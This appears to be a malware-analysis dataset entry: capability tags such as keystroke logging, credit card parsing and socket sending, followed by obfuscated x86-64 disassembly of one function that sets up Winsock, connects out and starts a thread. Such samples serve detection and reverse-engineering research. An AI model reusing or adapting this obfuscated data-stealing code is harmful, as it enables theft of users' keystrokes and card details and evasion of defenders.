Function at 0x14001a133
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Encrypt data using speck
Initialize winsock library
Log keystrokes via polling
Parse credit card information
Send data
Send data on socket

Disassembly:
push rax
pushf
mov eax, 0x4043afc3
pushf
not eax
add eax, 0xb981d69f
xor eax, 0xe8c5750d
rol eax, 0xea
popf
pushf
not eax
add eax, 0x8b482230
xor eax, 0x9df8c7e8
rol eax, 0x5d
popf
cmp eax, 0x29
jne 0x14001a170
popf
pop rax
jmp 0x14001c340
cmp eax, 0
jne 0x14001a17f
popf
pop rax
jmp 0x14001a54e
cmp eax, 0x3f
jne 0x14001a18e
popf
pop rax
jmp 0x14001cf72
cmp eax, 1
jne 0x14001a19d
popf
pop rax
jmp 0x14001a65d
cmp eax, 0xd
jne 0x14001a1ac
popf
pop rax
jmp 0x14001aea9
cmp eax, 0x1a
jne 0x14001a1bb
popf
pop rax
jmp 0x14001ba16
cmp eax, 0xe
jne 0x14001a1ca
popf
pop rax
jmp 0x14001afe1
cmp eax, 0x31
jne 0x14001a1d9
popf
pop rax
jmp 0x14001c80f
cmp eax, 0x40
jne 0x14001a1e8
popf
pop rax
jmp 0x14001cfad
cmp eax, 8
jne 0x14001a1f7
popf
pop rax
jmp 0x14001aba5
cmp eax, 0x2a
jne 0x14001a206
popf
pop rax
jmp 0x14001c400
cmp eax, 0x17
jne 0x14001a215
popf
pop rax
jmp 0x14001b859
cmp eax, 0x1c
jne 0x14001a224
popf
pop rax
jmp 0x14001bc1f
cmp eax, 0x2e
jne 0x14001a233
popf
pop rax
jmp 0x14001c63a
cmp eax, 0x18
jne 0x14001a242
popf
pop rax
jmp 0x14001b924
cmp eax, 0x2b
jne 0x14001a251
popf
pop rax
jmp 0x14001c4ae
cmp eax, 0x1b
jne 0x14001a260
popf
pop rax
jmp 0x14001bafa
cmp eax, 0x2d
jne 0x14001a26f
popf
pop rax
jmp 0x14001c55b
cmp eax, 0x23
jne 0x14001a27e
popf
pop rax
jmp 0x14001bfd6
cmp eax, 0x25
jne 0x14001a28d
popf
pop rax
jmp 0x14001c08d
cmp eax, 0x32
jne 0x14001a29c
popf
pop rax
jmp 0x14001c8c4
cmp eax, 0x13
jne 0x14001a2ab
popf
pop rax
jmp 0x14001b554
cmp eax, 0x33
jne 0x14001a2ba
popf
pop rax
jmp 0x14001c942
cmp eax, 0x24
jne 0x14001a2c9
popf
pop rax
jmp 0x14001c055
cmp eax, 0x1e
jne 0x14001a2d8
popf
pop rax
jmp 0x14001bd62
cmp eax, 0xc
jne 0x14001a2e7
popf
pop rax
jmp 0x14001adbe
cmp eax, 0x26
jne 0x14001a2f6
popf
pop rax
jmp 0x14001c133
cmp eax, 0x27
jne 0x14001a305
popf
pop rax
jmp 0x14001c1d8
cmp eax, 0x30
jne 0x14001a314
popf
pop rax
jmp 0x14001c718
cmp eax, 0x10
jne 0x14001a323
popf
pop rax
jmp 0x14001b232
cmp eax, 0x37
jne 0x14001a332
popf
pop rax
jmp 0x14001cab5
cmp eax, 9
jne 0x14001a341
popf
pop rax
jmp 0x14001ac47
cmp eax, 0x39
jne 0x14001a350
popf
pop rax
jmp 0x14001cc02
cmp eax, 0x16
jne 0x14001a35f
popf
pop rax
jmp 0x14001b76a
cmp eax, 0x3b
jne 0x14001a36e
popf
pop rax
jmp 0x14001cccc
cmp eax, 0xa
jne 0x14001a37d
popf
pop rax
jmp 0x14001ac81
cmp eax, 0x36
jne 0x14001a38c
popf
pop rax
jmp 0x14001ca4b
cmp eax, 0x14
jne 0x14001a39b
popf
pop rax
jmp 0x14001b5eb
cmp eax, 7
jne 0x14001a3aa
popf
pop rax
jmp 0x14001ab18
cmp eax, 0x3d
jne 0x14001a3b9
popf
pop rax
jmp 0x14001cdcf
cmp eax, 2
jne 0x14001a3c8
popf
pop rax
jmp 0x14001a859
cmp eax, 0x20
jne 0x14001a3d7
popf
pop rax
jmp 0x14001be58
cmp eax, 0x41
jne 0x14001a3e6
popf
pop rax
jmp 0x14001d00d
cmp eax, 0x11
jne 0x14001a3f5
popf
pop rax
jmp 0x14001b351
cmp eax, 0x35
jne 0x14001a404
popf
pop rax
jmp 0x14001ca0d
cmp eax, 0x3a
jne 0x14001a413
popf
pop rax
jmp 0x14001cc81
cmp eax, 0x12
jne 0x14001a422
popf
pop rax
jmp 0x14001b4e4
cmp eax, 0x21
jne 0x14001a431
popf
pop rax
jmp 0x14001beaf
cmp eax, 0x38
jne 0x14001a440
popf
pop rax
jmp 0x14001cb4b
cmp eax, 0xb
jne 0x14001a44f
popf
pop rax
jmp 0x14001acb9
cmp eax, 0xf
jne 0x14001a45e
popf
pop rax
jmp 0x14001b0ca
cmp eax, 0x15
jne 0x14001a46d
popf
pop rax
jmp 0x14001b651
cmp eax, 5
jne 0x14001a47c
popf
pop rax
jmp 0x14001aa2b
cmp eax, 6
jne 0x14001a48b
popf
pop rax
jmp 0x14001aa74
cmp eax, 0x22
jne 0x14001a49a
popf
pop rax
jmp 0x14001bf1f
cmp eax, 0x3c
jne 0x14001a4a9
popf
pop rax
jmp 0x14001cd39
cmp eax, 0x1f
jne 0x14001a4b8
popf
pop rax
jmp 0x14001be07
cmp eax, 4
jne 0x14001a4c7
popf
pop rax
jmp 0x14001a988
cmp eax, 0x2f
jne 0x14001a4d6
popf
pop rax
jmp 0x14001c6d0
cmp eax, 0x28
jne 0x14001a4e5
popf
pop rax
jmp 0x14001c2bd
cmp eax, 0x3e
jne 0x14001a4f4
popf
pop rax
jmp 0x14001cec3
cmp eax, 0x42
jne 0x14001a503
popf
pop rax
jmp 0x14001d08a
cmp eax, 0x2c
jne 0x14001a512
popf
pop rax
jmp 0x14001c50b
cmp eax, 3
jne 0x14001a521
popf
pop rax
jmp 0x14001a89a
cmp eax, 0x19
jne 0x14001a530
popf
pop rax
jmp 0x14001b9c8
cmp eax, 0x1d
jne 0x14001a53f
popf
pop rax
jmp 0x14001bcc3
cmp eax, 0x34
jne 0x14001a54e
popf
pop rax
jmp 0x14001c9f4
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1d8]
sub rsp, 0x2c0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor r15d, r15d
call fcn.1400210fc
call fcn.140036ab3
jmp 0x14001a597
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rdx, qword [rax]
mov rdx, qword [rdx]
lea rcx, [rsp + 0x30]
call fcn.1400275c5
mov rcx, rax
call fcn.140016de0
movups xmm3, xmmword [0x1400085f0]
movups xmmword [rsp + 0x50], xmm3
mov r8d, r15d
cmp dword [0x14000b098], 2
jl 0x14001a604
push rax
pushf
mov eax, 0xee882520
pushf
not eax
add eax, 0x88ddbdb5
xor eax, 0xecb9143f
rol eax, 0x29
popf
pushf
not eax
add eax, 0xb913b88c
xor eax, 0xdffa219e
rol eax, 0xf2
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xe6e25117
pushf
not eax
add eax, 0xf32168f2
xor eax, 0xc8ce8bc4
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xc1fccbdf
xor eax, 0xa7a45aa2
rol eax, 0x62
popf
pushf
not eax
add eax, 0x8b71cffd
xor eax, 0xbe81140b
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe455abce
xor eax, 0xbab46d59
rol eax, 0xb
popf
jmp 0x14001a161
movdqa xmm5, xmmword [0x1400088b0]
movdqa xmm6, xmmword [str.44445555]
movdqa xmm7, xmmword [0x140008890]
movdqa xmm2, xmmword [0x140008800]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x140008870]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd eax, xmm3
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm2, xmmword [0x140008810]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
movdqa xmm3, xmmword [0x140008820]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm7
movd xmm0, dword [rsp + 0x58]
xorps xmm3, xmm0
movd dword [rsp + 0x58], xmm3
movdqa xmm2, xmmword [0x140008830]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
movd xmm0, dword [rsp + 0x5c]
xorps xmm2, xmm0
movd dword [rsp + 0x5c], xmm2
jmp 0x14001a988
lea r9, [rsp + 0x50]
nop word [rax + rax]
push rax
pushf
mov eax, 0x104fef44
pushf
not eax
add eax, 0x8ae67faa
xor eax, 0xcd4c4708
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd2fbd569
xor eax, 0xf39074b2
rol eax, 0xd8
popf
jmp 0x14001a161
mov eax, 0xd5b83471
pushf
not eax
add eax, 0xb4e7d580
xor eax, 0xc3ebba40
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xf74961d8
xor eax, 0xaae1991f
rol eax, 0x85
popf
pushf
not eax
add eax, 0xf61fcba9
xor eax, 0xbcac1050
rol eax, 0x4f
popf
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001a942
push rax
pushf
mov eax, 0xcc0e3784
pushf
not eax
add eax, 0x863b8c9d
xor eax, 0x8acbd3a0
rol eax, 0x18
popf
pushf
not eax
add eax, 0xc0284953
xor eax, 0x97a768bb
rol eax, 0x55
popf
pushf
not eax
add eax, 0xde2e87b6
xor eax, 0x873c7db4
rol eax, 0x47
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xf66236f0
pushf
not eax
add eax, 0xe16ed8c6
xor eax, 0x8c9fd8ba
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x8e834a94
xor eax, 0xcf04e772
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xe4394fe5
xor eax, 0xf8ea0f1e
rol eax, 0x99
popf
jmp 0x14001a161
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1400275c5
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14001a9f8
push rax
pushf
mov eax, 0xe42c9c05
pushf
not eax
add eax, 0xf9fc9a86
xor eax, 0xe07974de
rol eax, 0
popf
pushf
not eax
add eax, 0xad67e0fd
xor eax, 0xedf12cc3
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe6d7c56e
xor eax, 0xd8b4f63d
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xea76bff2
xor eax, 0x80b5903e
rol eax, 0x44
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x7a4029ba
pushf
not eax
add eax, 0xffda66ef
xor eax, 0xa8ae6597
rol eax, 0xde
popf
pushf
not eax
add eax, 0xc6841e7a
xor eax, 0xfb376851
rol eax, 0xf4
popf
jmp 0x14001a161
mov rax, qword [rax]
push rax
pushf
mov eax, 0xea335cd7
pushf
not eax
add eax, 0xd18b92e0
xor eax, 0xa30563cd
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x86b94b26
xor eax, 0x9e1a2f38
rol eax, 0x88
popf
pushf
not eax
add eax, 0xbd7830f0
xor eax, 0xe8c26cf2
rol eax, 0x90
popf
jmp 0x14001a161
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1400275c5
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14001aabf
push rax
pushf
mov eax, 0x2d4d80fd
pushf
not eax
add eax, 0x93b8ad26
xor eax, 0xc6c71467
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xd418b185
xor eax, 0xb7f0e0ee
rol eax, 0x9a
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xc3077797
pushf
not eax
add eax, 0xab1ad6be
xor eax, 0xa4f3098f
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe5f33933
xor eax, 0xf110d40e
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8f896ee7
xor eax, 0xb6057785
rol eax, 0x43
popf
pushf
not eax
add eax, 0xb2d79293
xor eax, 0xdd28f29c
rol eax, 0x92
popf
jmp 0x14001a161
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ab5f
push rax
pushf
mov eax, 0xcc8a9
pushf
not eax
add eax, 0xab8fe482
xor eax, 0x860dae85
rol eax, 0x33
popf
pushf
not eax
add eax, 0xa3fbd7a9
xor eax, 0xfd126b33
rol eax, 0x49
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x89892043
pushf
not eax
add eax, 0xe300da34
xor eax, 0xac3a18cd
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xc2540c63
xor eax, 0xb7e4c317
rol eax, 6
popf
pushf
not eax
add eax, 0xad34d9ed
xor eax, 0xbee3bad6
rol eax, 5
popf
jmp 0x14001a161
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ac13
push rax
pushf
mov eax, 0xf7d74a3b
pushf
not eax
add eax, 0xfa85d0ea
xor eax, 0x99a04749
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xba4b098c
xor eax, 0xaf5565a2
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf82277ac
xor eax, 0xb44621b1
rol eax, 0x32
popf
pushf
not eax
add eax, 0xd3cb8df3
xor eax, 0x9a0e092d
rol eax, 0xb9
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xa5501979
pushf
not eax
add eax, 0x853707a0
xor eax, 0xe1c1a3fa
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xcce53510
xor eax, 0xeaf3faab
rol eax, 0
popf
jmp 0x14001a161
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022c1a
push rax
pushf
mov eax, 0xc593397b
pushf
not eax
add eax, 0xbea8414d
xor eax, 0xba0b0fd6
rol eax, 0x96
popf
pushf
not eax
add eax, 0xc7c96a4a
xor eax, 0xc5d4a2c7
rol eax, 0xae
popf
jmp 0x14001a161
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], socket
mov byte [rsp + 0x30], 0
mov ecx, 0x2a773c5d
pushf
not ecx
add ecx, 0xe6b5c826
xor ecx, 0x90ec267a
rol ecx, 0x61
popf
pushf
not ecx
add ecx, 0xf88f6bfe
xor ecx, 0x96e21099
rol ecx, 0x8e
popf
lea rdx, [rbp - 0x30]
jmp 0x14001ad00
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x14001ad65
push rax
pushf
mov eax, 0x2a950b5f
pushf
not eax
add eax, 0xd9b8673f
xor eax, 0xf5ef4dff
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xca1b98ad
xor eax, 0xdbde6b92
rol eax, 0x73
popf
pushf
not eax
add eax, 0xa66d3010
xor eax, 0xc163664e
rol eax, 0x60
popf
pushf
not eax
add eax, 0xaba1f366
xor eax, 0xf7086057
rol eax, 0xfe
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x91b385bd
pushf
not eax
add eax, 0xf82e1250
xor eax, 0xfcc942c1
rol eax, 0x46
popf
pushf
not eax
add eax, 0xcf722f56
xor eax, 0xdf071e23
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe5b869a8
xor eax, 0x8520ec88
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf7a8dd77
xor eax, 0xe270c56f
rol eax, 0x49
popf
jmp 0x14001a161
lea rdx, [0x19e8726f7]
pushf
sub rdx, 0x5e86a167
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov edx, ebx
mov rcx, rax
jmp 0x14001ade2
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1b6f036bd]
pushf
sub rdx, 0x76f0056d
popf
mov rcx, rax
jmp 0x14001adfe
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x6131298f
pushf
not ecx
add ecx, 0x9df491d6
xor ecx, 0x805f1340
rol ecx, 0x85
popf
pushf
not ecx
add ecx, 0x8e0d1761
xor ecx, 0x8d5b96a4
rol ecx, 0xa3
popf
pushf
not ecx
add ecx, 0xadea727d
xor ecx, 0xf5b97111
rol ecx, 0x48
popf
jmp 0x14001ae49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0xa6f1d8b0
pushf
not edx
add edx, 0xb433053d
xor edx, 0xa48557c6
rol edx, 0x9a
popf
pushf
not edx
add edx, 0xdb717f9c
xor edx, 0xb0ca6cae
rol edx, 0x18
popf
mov ebx, 0x812dfce2
pushf
not ebx
add ebx, 0x84e75c2e
xor ebx, 0xb1dd358b
rol ebx, 0x6c
popf
pushf
not ebx
add ebx, 0xf345e013
xor ebx, 0xac99d46c
rol ebx, 0xfa
popf
mov r8d, 0x2ca3575b
pushf
not r8d
add r8d, 0xc8da4bda
xor r8d, 0xc285680c
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0x9f8581da
xor r8d, 0xbad01aa1
rol r8d, 0x2e
popf
mov ecx, ebx
jmp 0x14001af42
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14000b0b8], rax
cmp rax, 0xffffffffffffffff
jne 0x14001afae
push rax
pushf
mov eax, 0x2743776a
pushf
not eax
add eax, 0x8142c910
xor eax, 0x8b3810de
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb1fbe3d1
xor eax, 0xd9486c89
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbbbfb6b1
xor eax, 0x960371c8
rol eax, 2
popf
pushf
not eax
add eax, 0xe85692be
xor eax, 0xb8bbd84d
rol eax, 0x67
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xa73f4d60
pushf
not eax
add eax, 0xdd1cc803
xor eax, 0xa71e4a5a
rol eax, 0xd
popf
pushf
not eax
add eax, 0xfe117b3a
xor eax, 0x97f26899
rol eax, 0x7d
popf
jmp 0x14001a161
lea rdx, [0x1a3acbf73]
pushf
sub rdx, 0x63ac39cb
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov rbx, rax
jmp 0x14001b003
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x14001b00f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1b9bf39b4]
pushf
sub rdx, 0x79bf0864
popf
mov rcx, rax
jmp 0x14001b02b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001b032
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x4285252
pushf
not ecx
add ecx, 0xb9b4b15f
xor ecx, 0x9447fc9a
rol ecx, 0x26
popf
pushf
not ecx
add ecx, 0xaed5d195
xor ecx, 0xda0e4e20
rol ecx, 0x53
popf
pushf
not ecx
add ecx, 0x9fe7f00a
xor ecx, 0x8c80e0f4
rol ecx, 0x67
popf
jmp 0x14001b07d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x50], bx
mov ecx, 0x21cb4291
pushf
not ecx
add ecx, 0x94506c94
xor ecx, 0xc1970b14
rol ecx, 0xb0
popf
pushf
not ecx
add ecx, 0xfea26ba1
xor ecx, 0xfb9534e3
rol ecx, 0x52
popf
pushf
not ecx
add ecx, 0xf83c82f8
xor ecx, 0xac87ea77
rol ecx, 7
popf
jmp 0x14001b11c
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x52], ax
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea r8, [rsp + 0x54]
mov ecx, ebx
jmp 0x14001b13d
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, 0x6819650a
pushf
not r8d
add r8d, 0xb2f0714d
xor r8d, 0xa454505c
rol r8d, 0xcb
popf
pushf
not r8d
add r8d, 0xbfbdc9b8
xor r8d, 0xa4dcd043
rol r8d, 0x7b
popf
lea rdx, [rsp + 0x50]
mov rcx, qword [0x14000b0b8]
jmp 0x14001b188
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14001b1ec
push rax
pushf
mov eax, 0x4e0bbe93
pushf
not eax
add eax, 0xf6a9c75c
xor eax, 0xd3f3453f
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xe5ede307
xor eax, 0xec3c17f5
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xe7283a03
xor eax, 0xaef8cf1e
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xe1290ea7
xor eax, 0xfe1d6ae2
rol eax, 0xa
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x54e8dbe
pushf
not eax
add eax, 0xd32e282f
xor eax, 0x89c71c20
rol eax, 0x80
popf
pushf
not eax
add eax, 0x8ccf22ef
xor eax, 0xd83d06eb
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xdd804940
xor eax, 0xf34f320b
rol eax, 0x2c
popf
jmp 0x14001a161
lea rdx, [0x196db38a9]
pushf
sub rdx, 0x56dab2e1
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov rbx, rax
jmp 0x14001b254
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x14001b260
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x194a3f4fb]
pushf
sub rdx, 0x54a3c3ab
popf
mov rcx, rax
jmp 0x14001b27c
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000b0b8]
jmp 0x14001b28a
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14001b291
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x854cc036
pushf
not ecx
add ecx, 0xef986178
xor ecx, 0xe5cdfbea
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0x9c736ff1
xor ecx, 0xa1347ad7
rol ecx, 0x12
popf
pushf
not ecx
add ecx, 0x918407b4
xor ecx, 0xe572be71
rol ecx, 0x61
popf
pushf
not ecx
add ecx, 0xb59dbb95
xor ecx, 0xc8a04c7e
rol ecx, 0x4a
popf
jmp 0x14001b2f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x58d15926
pushf
not ecx
add ecx, 0x8c1f535a
xor ecx, 0xd89ad7a8
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0x849f7935
xor ecx, 0xb6498d9e
rol ecx, 0xce
popf
call fcn.1400110d9
mov rbx, rax
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], r15
mov rcx, rax
call fcn.140019bcb
nop
mov qword [rsp + 0x60], rbx
lea rcx, [rbp - 0x70]
jmp 0x14001b3c9
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, 0x30d3837a
pushf
not ecx
add ecx, 0x97cd163e
xor ecx, 0xa6f97450
rol ecx, 0x27
popf
pushf
not ecx
add ecx, 0xcef9a244
xor ecx, 0xce864863
rol ecx, 0x37
popf
call fcn.1400110d9
lea rcx, [0x18480b9e8]
pushf
sub rcx, 0x448096e8
popf
mov qword [rax], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x1ac61d3ee]
pushf
sub r8, 0x6c61a23e
popf
xor edx, edx
xor ecx, ecx
jmp 0x14001b445
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14001b48b
push rax
pushf
mov eax, 0x5f281bd0
pushf
not eax
add eax, 0xbbe912f7
xor eax, 0xf27e0589
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x94962cb6
xor eax, 0xa8a791bb
rol eax, 0x55
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xe67dc9f
pushf
not eax
add eax, 0xe47d3e6b
xor eax, 0xf81b6c67
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc4a1d5ee
xor eax, 0x8ee037fa
rol eax, 0xde
popf
pushf
not eax
add eax, 0xb0840950
xor eax, 0xe9a164f1
rol eax, 0x24
popf
pushf
not eax
add eax, 0xb7973c68
xor eax, 0xa9c5978d
rol eax, 0x30
popf
jmp 0x14001a161
cmp dword [rbp - 0x58], 0
je 0x14001b521
push rax
pushf
mov eax, 0x95a9cdae
pushf
not eax
add eax, 0xdda1e508
xor eax, 0xd72d0d63
rol eax, 4
popf
pushf
not eax
add eax, 0xe8b9abf8
xor eax, 0xeb68084f
rol eax, 0x44
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xe59282e6
pushf
not eax
add eax, 0xe7b49c2c
xor eax, 0x828a5138
rol eax, 0x71
popf
pushf
not eax
add eax, 0x83d4b9e0
xor eax, 0xf0d1b88f
rol eax, 0x2d
popf
jmp 0x14001a161
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
jmp 0x14001b564
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14001b5a5
push rax
pushf
mov eax, 0xa21763bf
pushf
not eax
add eax, 0xd22fe70c
xor eax, 0x808d82f4
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb4e85bc2
xor eax, 0xb325ab2c
rol eax, 0xd1
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xcc60287e
pushf
not eax
add eax, 0xd4b2a868
xor eax, 0xeb785b34
rol eax, 0x41
popf
pushf
not eax
add eax, 0xd148847e
xor eax, 0xe7a132b0
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xa03413d7
xor eax, 0x9fc12683
rol eax, 0xc5
popf
jmp 0x14001a161
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov rsi, r15
mov qword [rbp - 0x80], r15
